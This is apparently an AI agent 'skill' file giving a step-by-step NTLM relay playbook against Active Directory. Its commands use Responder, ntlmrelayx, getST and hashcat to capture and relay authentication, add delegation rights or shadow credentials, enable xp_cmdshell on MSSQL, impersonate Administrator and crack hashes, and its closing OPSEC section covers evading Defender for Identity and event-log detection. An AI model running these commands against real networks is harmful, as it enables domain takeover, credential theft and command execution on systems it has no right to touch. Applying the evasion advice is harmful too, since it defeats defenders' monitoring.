version: "1.0.0" name: ad-ntlm-relay description: "NTLM relay deep-dive — ntlmrelayx configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many)." allowed-tools: Bash Read Write metadata: when_to_use: "ntlm relay ntlmrelayx smb signing ldap ldaps adcs mssql relay multi-relay impacket" subdomain: ad tags: ad, ntlm-relay, mitm, impacket mitre_attack: T1557.001, T1550.002

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

SMB signing — the key constraint

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce → relay to LDAP → RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover

Coerce → relay to ADCS → DA cert

See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.

Responder → relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Relay to MSSQL — pivot via xp_cmdshell

sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver

Multi-relay — fan-out one auth to many targets

# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)

When to crack instead of relay

If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):

# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules

Relay is BETTER when:

• You don't have time to crack (operationally bounded engagement)
• The hash is from a service account / computer account (uncrackable)
• The target requires the actual session (e.g., LDAPS, signed SMB)

Crack is BETTER when:

• You want offline persistence (don't need to be on the wire)
• The credentials are reusable across services
• Auth was from a normal user with a weak password

Signing-required mitigations and bypasses

OPSEC

• Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
• LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
• MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.

References

• impacket ntlmrelayx — github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
• dirkjanm "NTLM relay" series (the canonical reference)
• SpecterOps "Hosting a Relay Server" / "Forcing NTLM auth"
• BHIS / TrustedSec "NTLM Relaying for Fun and Profit"